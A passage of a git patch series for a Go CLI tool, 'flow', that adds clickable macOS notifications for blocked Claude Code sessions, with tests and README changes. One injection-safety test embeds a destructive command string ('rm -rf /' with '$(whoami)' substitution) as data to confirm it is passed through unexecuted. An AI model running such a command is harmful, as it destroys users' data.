brewCalls != 0 { + t.Errorf("must not invoke brew when terminal-notifier is present, got %d calls", brewCalls) + } +} + +// TestEnsureNotifierInstalledNoBrewIsAdvisory — with no Homebrew, flow +// prints guidance rather than failing. It must never try to install a +// package manager. +func TestEnsureNotifierInstalledNoBrew(t *testing.T) { + oldLook := notify.LookPath + notify.LookPath = func(string) (string, error) { return "", exec.ErrNotFound } + t.Cleanup(func() { notify.LookPath = oldLook }) + + oldPath := lookPathRunner + lookPathRunner = func(string) (string, error) { return "", exec.ErrNotFound } + t.Cleanup(func() { lookPathRunner = oldPath }) + + brewCalls := 0 + oldBrew := brewInstallRunner + brewInstallRunner = func(string) error { brewCalls++; return nil } + t.Cleanup(func() { brewInstallRunner = oldBrew }) + + ensureNotifierInstalled() // must not panic + if brewCalls != 0 { + t.Errorf("must not invoke brew when brew is absent, got %d calls", brewCalls) + } +} + +// TestEnsureNotifierInstalledBrewFailureIsNonFatal — a brew failure +// must not fail the caller; `flow init` cannot break over an optional +// dependency. +func TestEnsureNotifierInstalledBrewFailure(t *testing.T) { + oldLook := notify.LookPath + notify.LookPath = func(string) (string, error) { return "", exec.ErrNotFound } + t.Cleanup(func() { notify.LookPath = oldLook }) + + oldPath := lookPathRunner + lookPathRunner = func(string) (string, error) { return "/opt/homebrew/bin/brew", nil } + t.Cleanup(func() { lookPathRunner = oldPath }) + + oldBrew := brewInstallRunner + brewInstallRunner = func(string) error { return exec.ErrNotFound } + t.Cleanup(func() { brewInstallRunner = oldBrew }) + + ensureNotifierInstalled() // must return normally despite the failure +} diff --git a/internal/app/notifier_dep.go b/internal/app/notifier_dep.go new file mode 100644 index 00000000..df1eac88 --- /dev/null +++ b/internal/app/notifier_dep.go @@ -0,0 +1,71 @@ +package app + +import ( + "flow/internal/notify" + "fmt" + "os" + "os/exec" + "runtime" +) + +// brewInstallRunner runs `brew install `, streaming brew's +// output to the user's terminal so a multi-second install isn't a silent +// hang. Overridable for tests, which must never shell out to brew. +var brewInstallRunner = func(formula string) error { + cmd := exec.Command("brew", "install", formula) + cmd.Stdout = os.Stderr + cmd.Stderr = os.Stderr + return cmd.Run() +} + +// lookPathRunner resolves a binary on $PATH. Overridable for tests. +var lookPathRunner = exec.LookPath + +// ensureNotifierInstalled installs terminal-notifier when it's missing +// and Homebrew is available. +// +// Why flow installs it rather than just asking: notification banners are +// only genuinely useful if clicking one jumps to the tab that's asking, +// and that click action requires a signed .app bundle with its own +// bundle identifier. osascript's `display notification` cannot carry +// one. terminal-notifier is the smallest dependency that provides it. +// +// This is a SOFT dependency in every direction: +// - No brew, no install (flow does not vendor a package manager). +// - Not macOS, no install (this whole feature is macOS-only). +// - A brew failure warns and returns; it never fails the caller. +// - At notification time, internal/notify re-checks and degrades to a +// non-clickable osascript banner if the binary still isn't there. +// +// Called from `flow skill install` (which `flow init` and `make install` +// both run), so it covers the source-build and release-binary install +// paths alike, and re-checks on every `flow skill update` after an +// upgrade. Only ever acts when the binary is genuinely absent, so it's a +// one-time cost rather than per-upgrade work. +func ensureNotifierInstalled() { + if runtime.GOOS != "darwin" { + return + } + if notify.Available() { + return + } + if _, err := lookPathRunner("brew"); err != nil { + fmt.Fprintln(os.Stderr, + "note: terminal-notifier is not installed, so notification banners will not be clickable.") + fmt.Fprintln(os.Stderr, + " Install it to enable click-to-focus: brew install terminal-notifier") + return + } + + fmt.Fprintln(os.Stderr, "installing terminal-notifier (enables click-to-focus notification banners)...") + if err := brewInstallRunner("terminal-notifier"); err != nil { + fmt.Fprintf(os.Stderr, + "warning: could not install terminal-notifier: %v\n", err) + fmt.Fprintln(os.Stderr, + " Banners will still appear, but will not be clickable.") + fmt.Fprintln(os.Stderr, + " To retry: brew install terminal-notifier") + return + } + fmt.Fprintln(os.Stderr, "installed terminal-notifier") +} diff --git a/internal/app/skill.go b/internal/app/skill.go index 0f58c101..4eca379e 100644 --- a/internal/app/skill.go +++ b/internal/app/skill.go @@ -43,6 +43,20 @@ const hookCommand = "flow hook session-start" // — changing it would orphan existing installations. const userPromptSubmitHookCommand = "flow hook user-prompt-submit" +// notificationHookCommand is the exact string settings.json records as +// the Notification hook handler. It posts a macOS banner when a session +// blocks on input. Stable — changing it would orphan existing +// installations. +const notificationHookCommand = "flow hook notification" + +// notificationHookMatcher filters the Notification event down to the +// two types that mean "this session is blocked waiting on a human". +// Claude Code matches this against the payload's notification_type, so +// flow is never executed for the other types (auth_success, +// elicitation_*, agent_needs_input, agent_completed) — a banner for +// each of those would be noise across many open tabs. +const notificationHookMatcher = "permission_prompt|idle_prompt" + // readSkillVersion returns the version string recorded in the // harness's skill-version sidecar, or "" if missing/unreadable. func readSkillVersion() string { @@ -110,6 +124,7 @@ func maybeAutoUpgradeSkill() { _ = writeSkillVersion(Version) _, _ = h.InstallSessionStartHook(hookCommand) _, _ = h.InstallUserPromptSubmitHook(userPromptSubmitHookCommand) + _, _ = h.InstallNotificationHook(notificationHookCommand, notificationHookMatcher) fmt.Fprintf(os.Stderr, "flow: upgraded skill to %s\n", Version) } @@ -186,6 +201,15 @@ func skillInstall(args []string, forceDefault bool) int { } else { fmt.Println("UserPromptSubmit hook already installed — leaving as is") } + if added, err := h.InstallNotificationHook(notificationHookCommand, notificationHookMatcher); err != nil { + fmt.Fprintf(os.Stderr, "warning: could not install Notification hook: %v\n", err) + return 0 + } else if added { + fmt.Println("installed Notification hook (macOS banner when a session needs input)") + } else { + fmt.Println("Notification hook already installed — leaving as is") + } + ensureNotifierInstalled() return 0 } @@ -216,6 +240,11 @@ func skillUninstall(args []string) int { fmt.Println("--keep-hook: leaving SessionStart hook in place") return 0 } + if removed, err := h.UninstallNotificationHook(notificationHookCommand); err != nil { + fmt.Fprintf(os.Stderr, "warning: could not remove Notification hook: %v\n", err) + } else if removed { + fmt.Println("removed Notification hook") + } if removed, err := h.UninstallSessionStartHook(hookCommand); err != nil { fmt.Fprintf(os.Stderr, "warning: could not remove SessionStart hook: %v\n", err) return 0 diff --git a/internal/harness/claude/claude.go b/internal/harness/claude/claude.go index c8c8e8d6..487fe944 100644 --- a/internal/harness/claude/claude.go +++ b/internal/harness/claude/claude.go @@ -362,6 +362,18 @@ func (c *claude) UninstallUserPromptSubmitHook(command string) (bool, error) { return uninstallHook("UserPromptSubmit", command) } +// InstallNotificationHook registers a Notification hook. This event +// supports a matcher, which Claude Code tests against the payload's +// notification_type — so passing one keeps flow from being executed at +// all for event types it would only ignore. +func (c *claude) InstallNotificationHook(command, matcher string) (bool, error) { + return installHook("Notification", matcher, command) +} + +func (c *claude) UninstallNotificationHook(command string) (bool, error) { + return uninstallHook("Notification", command) +} + // installHook idempotently adds a hook entry for `event` to // ~/.claude/settings.json. matcher may be empty — some events don't // use one and the field is omitted. command is both the literal diff --git a/internal/harness/harness.go b/internal/harness/harness.go index 9996b394..ed75e5b1 100644 --- a/internal/harness/harness.go +++ b/internal/harness/harness.go @@ -278,4 +278,18 @@ type Harness interface { // UninstallUserPromptSubmitHook removes any UserPromptSubmit entry // matching `command`. Used by `flow skill uninstall`. UninstallUserPromptSubmitHook(command string) (removed bool, err error) + + // InstallNotificationHook idempotently registers `command` as a + // Notification hook filtered by `matcher`. Unlike UserPromptSubmit, + // this event DOES support a matcher, which is matched against the + // payload's notification_type — so the harness filters events before + // flow is ever executed. Returns (added=true) iff the on-disk hook + // config was actually modified. + // + // A harness with no notification concept may return (false, nil). + InstallNotificationHook(command, matcher string) (added bool, err error) + + // UninstallNotificationHook removes any Notification entry whose + // inner command matches `command`. + UninstallNotificationHook(command string) (removed bool, err error) } diff --git a/internal/notify/notify.go b/internal/notify/notify.go new file mode 100644 index 00000000..05b351f4 --- /dev/null +++ b/internal/notify/notify.go @@ -0,0 +1,153 @@ +// Package notify posts macOS user notifications, preferring a +// clickable banner when the host can deliver one. +// +// Two delivery paths, in preference order: +// +// 1. terminal-notifier, when it's on $PATH. It is a signed .app +// bundle with its own bundle identifier, which is what lets it +// register a click action via -execute. flow uses that to run +// `flow focus `, so clicking a banner jumps to the tab +// that raised it. +// +// 2. osascript `display notification`, as a fallback. Always +// available, but the banner is NOT clickable in any useful sense: +// the notification is owned by whichever app osascript is running +// under, so a click activates that app rather than running our +// command. macOS provides no way to attach a custom action to an +// osascript notification — that requires a signed app registering +// UNNotificationAction categories. +// +// The fallback is deliberately still worth posting: knowing WHICH task +// is asking is most of the value, even when the click does nothing. +// +// Delivery is best-effort throughout. Every caller is on a hook path +// where failing loud would disrupt the user's session, so errors are +// returned for tests and logging but callers are expected to ignore +// them. +package notify + +import ( + "fmt" + "os/exec" + "strings" +) + +// LookPath resolves a binary on $PATH. Overridable so tests can force +// the terminal-notifier-present and terminal-notifier-absent branches +// without mutating the environment. +var LookPath = exec.LookPath + +// Runner executes a command. Overridable for tests. Returns combined +// output for error context only — no caller reads it on success. +var Runner = func(name string, args ...string) error { + cmd := exec.Command(name, args...) + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("%s: %v: %s", name, err, strings.TrimSpace(string(out))) + } + return nil +} + +// Request describes one notification. +type Request struct { + // Title is the bold first line. Typically "flow: ". + Title string + // Subtitle is an optional second line, shown smaller. + Subtitle string + // Message is the body — the question text or status detail. + Message string + // Execute is a shell command run when the banner is clicked. + // Ignored by the osascript fallback, which cannot honor it. + Execute string + // Group coalesces banners: posting with a group ID replaces any + // earlier banner carrying the same ID. Keyed on session id by + // callers so one chatty session can't bury the others under a + // stack of its own notifications. + Group string + // Sound is an optional sound name ("default" for the standard + // notification sound). Empty means silent. + Sound string +} + +// Available reports whether a clickable banner can be delivered — i.e. +// whether terminal-notifier is installed. Callers use this to decide +// whether to bother computing a click command, and `flow init` uses it +// to decide whether to offer the dependency install. +func Available() bool { + _, err := LookPath("terminal-notifier") + return err == nil +} + +// Notify posts the notification, using terminal-notifier when +// available and falling back to osascript otherwise. A blank Message +// is a no-op: macOS silently drops a notification with no body, and +// posting one would burn a subprocess for nothing. +func Notify(req Request) error { + if strings.TrimSpace(req.Message) == "" { + return nil + } + if Available() { + return notifyViaTerminalNotifier(req) + } + return notifyViaOsascript(req) +} + +// notifyViaTerminalNotifier builds the terminal-notifier argv. Values +// are passed as separate argv entries, NOT interpolated into a shell +// string, so no quoting or escaping of user-controlled text is needed +// — except for Execute, which terminal-notifier hands to a shell by +// definition and which callers must therefore build safely. +func notifyViaTerminalNotifier(req Request) error { + args := []string{"-message", req.Message} + if req.Title != "" { + args = append(args, "-title", req.Title) + } + if req.Subtitle != "" { + args = append(args, "-subtitle", req.Subtitle) + } + if req.Group != "" { + args = append(args, "-group", req.Group) + } + if req.Sound != "" { + args = append(args, "-sound", req.Sound) + } + if req.Execute != "" { + args = append(args, "-execute", req.Execute) + } + return Runner("terminal-notifier", args...) +} + +// notifyViaOsascript posts via `display notification`. Execute is +// dropped — see the package doc for why it cannot be honored here. +func notifyViaOsascript(req Request) error { + script := fmt.Sprintf("display notification %s", quoteAppleScript(req.Message)) + if req.Title != "" { + script += fmt.Sprintf(" with title %s", quoteAppleScript(req.Title)) + } + if req.Subtitle != "" { + script += fmt.Sprintf(" subtitle %s", quoteAppleScript(req.Subtitle)) + } + if req.Sound != "" { + script += fmt.Sprintf(" sound name %s", quoteAppleScript(req.Sound)) + } + return Runner("osascript", "-e", script) +} + +// quoteAppleScript returns an AppleScript expression evaluating to s. +// +// Notification text is user-controlled (it's Claude's question, which +// can contain quotes, backslashes, and newlines), and AppleScript +// double-quoted literals support neither embedded newlines nor \n +// escapes. Newlines are therefore emitted as separate quoted strings +// joined with `& linefeed &`, matching the approach in +// internal/iterm's quoteAppleScriptString. +func quoteAppleScript(s string) string { + lines := strings.Split(s, "\n") + parts := make([]string, 0, len(lines)) + for _, line := range lines { + line = strings.ReplaceAll(line, `\`, `\\`) + line = strings.ReplaceAll(line, `"`, `\"`) + parts = append(parts, `"`+line+`"`) + } + return strings.Join(parts, " & linefeed & ") +} diff --git a/internal/notify/notify_test.go b/internal/notify/notify_test.go new file mode 100644 index 00000000..73a080bc --- /dev/null +++ b/internal/notify/notify_test.go @@ -0,0 +1,227 @@ +package notify + +import ( + "errors" + "os/exec" + "strings" + "testing" +) + +// captured records one Runner invocation. +type captured struct { + name string + args []string +} + +// stubRunner replaces Runner and returns a pointer to the call log. +func stubRunner(t *testing.T, err error) *[]captured { + t.Helper() + var calls []captured + old := Runner + Runner = func(name string, args ...string) error { + calls = append(calls, captured{name: name, args: args}) + return err + } + t.Cleanup(func() { Runner = old }) + return &calls +} + +// stubLookPath forces the terminal-notifier-present / -absent branch. +func stubLookPath(t *testing.T, present bool) { + t.Helper() + old := LookPath + LookPath = func(file string) (string, error) { + if file == "terminal-notifier" && present { + return "/opt/homebrew/bin/terminal-notifier", nil + } + return "", exec.ErrNotFound + } + t.Cleanup(func() { LookPath = old }) +} + +// argValue returns the value following flag in args, or "" if absent. +func argValue(args []string, flag string) string { + for i, a := range args { + if a == flag && i+1 < len(args) { + return args[i+1] + } + } + return "" +} + +func hasFlag(args []string, flag string) bool { + for _, a := range args { + if a == flag { + return true + } + } + return false +} + +// TestNotifyPrefersTerminalNotifier is the clickable path: every field +// maps to its flag, and -execute carries the click command. +func TestNotifyPrefersTerminalNotifier(t *testing.T) { + stubLookPath(t, true) + calls := stubRunner(t, nil) + + err := Notify(Request{ + Title: "flow: flow-notify", + Subtitle: "Desktop notifications", + Message: "Claude needs permission to edit spawner.go", + Execute: "flow focus 3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f", + Group: "flow-3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f", + Sound: "default", + }) + if err != nil { + t.Fatalf("Notify: %v", err) + } + if len(*calls) != 1 { + t.Fatalf("expected 1 call, got %d", len(*calls)) + } + c := (*calls)[0] + if c.name != "terminal-notifier" { + t.Errorf("ran %q; want terminal-notifier", c.name) + } + for flag, want := range map[string]string{ + "-title": "flow: flow-notify", + "-subtitle": "Desktop notifications", + "-message": "Claude needs permission to edit spawner.go", + "-execute": "flow focus 3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f", + "-group": "flow-3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f", + "-sound": "default", + } { + if got := argValue(c.args, flag); got != want { + t.Errorf("%s = %q; want %q", flag, got, want) + } + } +} + +// TestNotifyFallsBackToOsascript — with terminal-notifier absent the +// banner still posts, via osascript, minus the click action. +func TestNotifyFallsBackToOsascript(t *testing.T) { + stubLookPath(t, false) + calls := stubRunner(t, nil) + + err := Notify(Request{ + Title: "flow: flow-notify", + Message: "needs input", + Execute: "flow focus 3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f", + }) + if err != nil { + t.Fatalf("Notify: %v", err) + } + if len(*calls) != 1 { + t.Fatalf("expected 1 call, got %d", len(*calls)) + } + c := (*calls)[0] + if c.name != "osascript" { + t.Fatalf("ran %q; want osascript", c.name) + } + script := strings.Join(c.args, " ") + if !strings.Contains(script, "display notification") { + t.Errorf("script missing `display notification`: %s", script) + } + if !strings.Contains(script, "flow: flow-notify") { + t.Errorf("script missing title: %s", script) + } + // osascript cannot run a command on click; the Execute value must + // not leak into the AppleScript. + if strings.Contains(script, "flow focus") { + t.Errorf("Execute must be dropped on the osascript path: %s", script) + } +} + +// TestNotifyEmptyMessageIsNoop — macOS drops a bodyless notification, +// so flow shouldn't spend a subprocess on one. +func TestNotifyEmptyMessageIsNoop(t *testing.T) { + stubLookPath(t, true) + calls := stubRunner(t, nil) + + for _, msg := range []string{"", " ", "\n\t"} { + if err := Notify(Request{Title: "t", Message: msg}); err != nil { + t.Fatalf("Notify(%q): %v", msg, err) + } + } + if len(*calls) != 0 { + t.Errorf("expected no calls for blank messages, got %d", len(*calls)) + } +} + +// TestNotifyOmitsEmptyFields — optional flags must not be passed with +// empty values, which terminal-notifier would treat as real content. +func TestNotifyOmitsEmptyFields(t *testing.T) { + stubLookPath(t, true) + calls := stubRunner(t, nil) + + if err := Notify(Request{Message: "body only"}); err != nil { + t.Fatalf("Notify: %v", err) + } + c := (*calls)[0] + for _, flag := range []string{"-title", "-subtitle", "-group", "-sound", "-execute"} { + if hasFlag(c.args, flag) { + t.Errorf("%s must be omitted when empty; got args %v", flag, c.args) + } + } + if got := argValue(c.args, "-message"); got != "body only" { + t.Errorf("-message = %q", got) + } +} + +// TestNotifyPropagatesRunnerError — delivery failures surface to the +// caller (which is free to ignore them). +func TestNotifyPropagatesRunnerError(t *testing.T) { + stubLookPath(t, true) + stubRunner(t, errors.New("boom")) + + if err := Notify(Request{Message: "x"}); err == nil { + t.Error("expected the runner error to propagate") + } +} + +// TestAvailable reflects terminal-notifier's presence on PATH. +func TestAvailable(t *testing.T) { + stubLookPath(t, true) + if !Available() { + t.Error("Available() = false with terminal-notifier on PATH") + } + stubLookPath(t, false) + if Available() { + t.Error("Available() = true with terminal-notifier absent") + } +} + +// TestQuoteAppleScript covers the escaping that keeps user-controlled +// notification text from breaking out of an AppleScript string literal. +// Newlines matter most: AppleScript literals cannot contain them and +// have no \n escape, so they must become `& linefeed &` joins. +func TestQuoteAppleScript(t *testing.T) { + cases := []struct{ in, want string }{ + {`plain`, `"plain"`}, + {`say "hi"`, `"say \"hi\""`}, + {`back\slash`, `"back\\slash"`}, + {"two\nlines", `"two" & linefeed & "lines"`}, + {``, `""`}, + } + for _, tc := range cases { + if got := quoteAppleScript(tc.in); got != tc.want { + t.Errorf("quoteAppleScript(%q) = %s; want %s", tc.in, got, tc.want) + } + } +} + +// TestNotifyMessageWithShellMetacharacters — terminal-notifier args are +// passed as separate argv entries, never through a shell, so quotes, +// semicolons and backticks in a question must survive verbatim rather +// than being escaped or executed. +func TestNotifyMessageWithShellMetacharacters(t *testing.T) { + stubLookPath(t, true) + calls := stubRunner(t, nil) + + nasty := "run `rm -rf /`; echo \"done\" && $(whoami)" + if err := Notify(Request{Message: nasty}); err != nil { + t.Fatalf("Notify: %v", err) + } + if got := argValue((*calls)[0].args, "-message"); got != nasty { + t.Errorf("-message = %q; want it passed through verbatim as argv", got) + } +} From 2c602c20531e4c926d63f3e8d1159b416f296c47 Mon Sep 17 00:00:00 2001 From: ishaankalra Date: Thu, 6 Aug 2026 11:27:24 +0530 Subject: [PATCH 4/5] feat(notify): punch through Focus modes; document persistent alerts MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Banners auto-dismissed after a few seconds and were easy to miss, which defeats the point of the feature — the whole premise is that a blocked session goes unnoticed and stalls. Two halves to the fix, only one of which flow controls: - In flow's control: blocked-session banners (permission_prompt / idle_prompt) now post with -ignoreDnD, so an active Focus mode can't silence a session that is stalled waiting on a human. Auto-run completion banners deliberately leave the flag off — those are informational and can wait. - Not in flow's control: banner-vs-alert persistence. macOS reserves that for the user in System Settings → Notifications, and no CLI flag overrides it. The notification is owned by terminal-notifier (the signed bundle that posts it), so it is terminal-notifier's entry that has to change, not flow's. Rather than fail silently, notify exposes PersistenceHint, printed after the dependency installs, and the README documents setting Alert style to Alerts for Calendar-like behaviour. Confirmed working after switching the setting. Co-Authored-By: Claude Opus 5 (1M context) --- README.md | 13 ++++++++++--- internal/app/notification.go | 5 +++++ internal/app/notification_test.go | 17 +++++++++++++++++ internal/app/notifier_dep.go | 2 ++ internal/notify/notify.go | 28 ++++++++++++++++++++++++++++ internal/notify/notify_test.go | 23 +++++++++++++++++++++++ 6 files changed, 85 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index ecbba4a7..16b30fa5 100644 --- a/README.md +++ b/README.md @@ -344,9 +344,16 @@ die, since they have no tab to watch. cannot do. `flow init` installs it via Homebrew automatically. Without it you still get banners — they just aren't clickable. To install it yourself: `brew install terminal-notifier`. -- **macOS must be allowed to show the banners.** Check System Settings → - Notifications and make sure `terminal-notifier` is enabled and set to - Banners or Alerts. Focus modes / Do Not Disturb will suppress them. +- **Make the banners stick around.** By default macOS shows them as + *banners*, which auto-dismiss after a few seconds — easy to miss, which + defeats the point. In System Settings → Notifications → **terminal-notifier**, + set **Alert style** to **Alerts** and they stay on screen until you + dismiss or click them (the same behaviour Calendar uses for events). + macOS reserves this choice for you; no CLI flag can set it. + + Blocked-session banners are posted with `-ignoreDnD`, so a Focus mode + won't hide them — a stalled session is exactly what shouldn't be + silenced. Auto-run completion banners deliberately don't do this. Terminal support for click-to-focus matches what each terminal exposes: iTerm2, Terminal.app, kitty and zellij focus the exact tab. Ghostty does diff --git a/internal/app/notification.go b/internal/app/notification.go index d2aa17ed..2c8323bb 100644 --- a/internal/app/notification.go +++ b/internal/app/notification.go @@ -114,6 +114,11 @@ func buildNotification(p notificationPayload) notify.Request { // of each other, which is the whole point across many tabs. Group: notificationGroup(p.SessionID), Sound: "default", + // A blocked session stalls until someone notices it, so a Focus + // mode suppressing the banner defeats the feature entirely. + // Auto-run banners deliberately don't set this — those are + // informational and can wait. + IgnoreDoNotDisturb: true, } } diff --git a/internal/app/notification_test.go b/internal/app/notification_test.go index d03d9b7a..d0a22d93 100644 --- a/internal/app/notification_test.go +++ b/internal/app/notification_test.go @@ -357,3 +357,20 @@ func TestEnsureNotifierInstalledBrewFailure(t *testing.T) { ensureNotifierInstalled() // must return normally despite the failure } + +// TestBlockedBannerIgnoresDoNotDisturb — the whole feature is "a session +// is stalled waiting on you", so a Focus mode must not suppress it. +func TestBlockedBannerIgnoresDoNotDisturb(t *testing.T) { + t.Setenv("FLOW_ROOT", filepath.Join(t.TempDir(), "nonexistent")) + + for _, nt := range []string{"permission_prompt", "idle_prompt"} { + req := buildNotification(notificationPayload{ + SessionID: testSessionUUID, + NotificationType: nt, + Message: "needs you", + }) + if !req.IgnoreDoNotDisturb { + t.Errorf("%s: blocked-session banner must set IgnoreDoNotDisturb", nt) + } + } +} diff --git a/internal/app/notifier_dep.go b/internal/app/notifier_dep.go index df1eac88..0a36489e 100644 --- a/internal/app/notifier_dep.go +++ b/internal/app/notifier_dep.go @@ -68,4 +68,6 @@ func ensureNotifierInstalled() { return } fmt.Fprintln(os.Stderr, "installed terminal-notifier") + fmt.Fprintln(os.Stderr) + fmt.Fprintln(os.Stderr, notify.PersistenceHint) } diff --git a/internal/notify/notify.go b/internal/notify/notify.go index 05b351f4..775aa054 100644 --- a/internal/notify/notify.go +++ b/internal/notify/notify.go @@ -67,8 +67,33 @@ type Request struct { // Sound is an optional sound name ("default" for the standard // notification sound). Empty means silent. Sound string + // IgnoreDoNotDisturb delivers the notification even while a Focus + // mode is active. Set for "a session is blocked waiting on you" + // banners: the whole point is that the task stalls until noticed, so + // suppressing it defeats the feature. Not set for informational + // banners like auto-run completion. + // + // This does NOT control banner-vs-alert persistence — macOS keeps + // that under the user's control in System Settings → Notifications, + // and no CLI flag can override it. See PersistenceHint. + IgnoreDoNotDisturb bool } +// PersistenceHint explains how to make banners persist on screen rather +// than auto-dismissing after a few seconds. Exposed as a string (rather +// than being applied automatically) because macOS deliberately reserves +// this choice for the user: an app declares a default, but System +// Settings → Notifications is authoritative and no command-line flag can +// override it. +// +// The notification is owned by terminal-notifier — the signed bundle +// that posts it — so it's terminal-notifier's entry that has to change, +// not flow's. +const PersistenceHint = `To keep flow banners on screen until dismissed (like Calendar alerts): + System Settings → Notifications → terminal-notifier → Alert style: Alerts + +macOS reserves this setting for you; flow cannot set it programmatically.` + // Available reports whether a clickable banner can be delivered — i.e. // whether terminal-notifier is installed. Callers use this to decide // whether to bother computing a click command, and `flow init` uses it @@ -111,6 +136,9 @@ func notifyViaTerminalNotifier(req Request) error { if req.Sound != "" { args = append(args, "-sound", req.Sound) } + if req.IgnoreDoNotDisturb { + args = append(args, "-ignoreDnD") + } if req.Execute != "" { args = append(args, "-execute", req.Execute) } diff --git a/internal/notify/notify_test.go b/internal/notify/notify_test.go index 73a080bc..59d20618 100644 --- a/internal/notify/notify_test.go +++ b/internal/notify/notify_test.go @@ -225,3 +225,26 @@ func TestNotifyMessageWithShellMetacharacters(t *testing.T) { t.Errorf("-message = %q; want it passed through verbatim as argv", got) } } + +// TestNotifyIgnoreDoNotDisturb — a blocked session stalls until noticed, +// so its banner must punch through Focus modes. Informational banners +// (auto-run completion) leave the flag off and can be suppressed. +func TestNotifyIgnoreDoNotDisturb(t *testing.T) { + stubLookPath(t, true) + + calls := stubRunner(t, nil) + if err := Notify(Request{Message: "blocked", IgnoreDoNotDisturb: true}); err != nil { + t.Fatalf("Notify: %v", err) + } + if !hasFlag((*calls)[0].args, "-ignoreDnD") { + t.Errorf("expected -ignoreDnD when IgnoreDoNotDisturb is set; got %v", (*calls)[0].args) + } + + calls2 := stubRunner(t, nil) + if err := Notify(Request{Message: "fyi"}); err != nil { + t.Fatalf("Notify: %v", err) + } + if hasFlag((*calls2)[0].args, "-ignoreDnD") { + t.Errorf("-ignoreDnD must be opt-in; got %v", (*calls2)[0].args) + } +} From 206a7281d2c22f8436ccc81d5c280a4efe4faba6 Mon Sep 17 00:00:00 2001 From: ishaankalra Date: Thu, 6 Aug 2026 11:42:52 +0530 Subject: [PATCH 5/5] fix(notify): make banner clicks actually focus the tab MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Clicking a banner did nothing. Three independent causes, all found by testing the click path in a minimal environment rather than a normal shell — the earlier verification passed only because an interactive shell has a rich PATH that the real click handler does not. 1. The click command was a bare `flow focus `. terminal-notifier's -execute handler runs without sourcing shell rc files, so its PATH is the system default and ~/.local/bin is absent. It now uses the running binary's absolute path via os.Executable(), single-quoted so checkout paths containing spaces survive. 2. A stale installed binary predating the focus subcommand answers `unknown subcommand "focus"`. README now says to `make install` after building from source, since the click invokes the installed binary. 3. Focus followed the ambient environment instead of the tab. Detect() answers "where would a NEW tab go" and $FLOW_TERM outranks $TERM_PROGRAM there — correct for spawning, wrong for focusing. A user with FLOW_TERM=iterm and older tabs in Terminal.app had every focus aimed at iTerm2. FocusSession now tries the detected backend first, then sweeps the other searchable backends until one claims the session. Safe because each matches on the session's controlling tty, so a backend that doesn't host the tab reports a miss rather than focusing something wrong. Warp and Ghostty are excluded from the sweep: neither can select a tab and both foreground their app as a side effect, so probing them speculatively would steal focus without finishing the job. Only the detected backend's error surfaces. A speculative probe of an uninstalled terminal ("kitty: executable file not found") says nothing about whether the session exists and previously masked the real "no matching tab" message. Verified end to end: clicking a banner now focuses the correct iTerm2 tab (confirmed by the user), and cross-terminal focus works — a tab in Terminal.app is found while FLOW_TERM=iterm, from a minimal env. Terminal.app focus is now confirmed working too; kitty, zellij and Ghostty remain untested (not installed here). Co-Authored-By: Claude Opus 5 (1M context) --- README.md | 7 +- internal/.DS_Store | Bin 0 -> 8196 bytes internal/app/notification.go | 48 ++++++++-- internal/app/notification_test.go | 37 +++++++- internal/spawner/spawner.go | 47 +++++++++- internal/spawner/spawner_test.go | 143 +++++++++++++++++++++++++----- 6 files changed, 250 insertions(+), 32 deletions(-) create mode 100644 internal/.DS_Store diff --git a/README.md b/README.md index 16b30fa5..4e6230c7 100644 --- a/README.md +++ b/README.md @@ -337,7 +337,12 @@ session so a chatty task replaces its own banner instead of burying the others. Autonomous `flow do --auto` runs also notify when they finish or die, since they have no tab to watch. -**Two setup notes:** +**Three setup notes:** + +- **Keep the installed binary current.** The banner's click action invokes + the flow binary that posted it, by absolute path. If you build from + source, run `make install` so `~/.local/bin/flow` isn't a stale copy + without the `focus` subcommand. - **Clickable banners need `terminal-notifier`.** macOS only lets a registered app attach an action to a notification, which `osascript` diff --git a/internal/.DS_Store b/internal/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..d847082adc6981691121c968f58b4e372b6684e8 GIT binary patch literal 8196 zcmeHMJ#Q015S=AX&L~Y9qLe2Z8YoiI9g$rVDF`7d`*30#?3@)R5UAYI&_tp^)D#E- zEi|-g^BWKi9X}vKyxHB{&G_!3REUq=Xm?IKZ+D*G?%sMFA~G8Xy>+5BB5I#zpnX?^QKHlEntsDut3L4lw^P#`D}6bK6Z2@2rO=F+UW_nkMiL4lya zf2jb!A7WItiMKOn?W+TgO#xsV=(YvVEBpW(dz*MWa~2*H~V>= zGiTj!GCuh*KC$_b*op&p2zf(ovS8 zr+K=0Kp(yx-;&su>eQn&pC8O;k%rJ^8;r)9%gt5ol{{V#AD`_HFUIFIB)aT3f9R zkoUQD>0@xN9iw(oxiD_#tQ~@eA>41%aoGGHhIo#>FY$KfEIcT`{f7Ym-9X;IRrh`", got) + } + + // The binary must be referenced by ABSOLUTE, QUOTED path — not a + // bare `flow`. terminal-notifier's click handler runs with the + // system default PATH and does not source shell rc files, so a bare + // `flow` silently does nothing when the banner is clicked. Quoting + // matters because checkout paths legitimately contain spaces. + if strings.HasPrefix(got, "flow ") { + t.Error("click command must not rely on PATH — it runs in a minimal env where flow is not found") + } + if !strings.HasPrefix(got, "'/") { + t.Errorf("click command must start with a single-quoted absolute path; got %q", got) + } +} + +// TestShellQuote covers the quoting that keeps a checkout path with +// spaces (this repo lives under "Facets Work") from splitting into +// separate shell words when terminal-notifier runs -execute. +func TestShellQuote(t *testing.T) { + cases := map[string]string{ + `/usr/local/bin/flow`: `'/usr/local/bin/flow'`, + `/Users/x/Facets Work/flow`: `'/Users/x/Facets Work/flow'`, + `/tmp/it's/flow`: `'/tmp/it'\''s/flow'`, + ``: `''`, + } + for in, want := range cases { + if got := shellQuote(in); got != want { + t.Errorf("shellQuote(%q) = %s; want %s", in, got, want) + } } } diff --git a/internal/spawner/spawner.go b/internal/spawner/spawner.go index cd470d0a..4973e754 100644 --- a/internal/spawner/spawner.go +++ b/internal/spawner/spawner.go @@ -152,8 +152,53 @@ func SpawnTab(title, cwd, command string, envVars map[string]string) error { // the tty. Dispatching every known backend explicitly and treating // unknown ones as a miss keeps a new Backend constant from silently // inheriting the wrong implementation again. +// A session lives in whichever 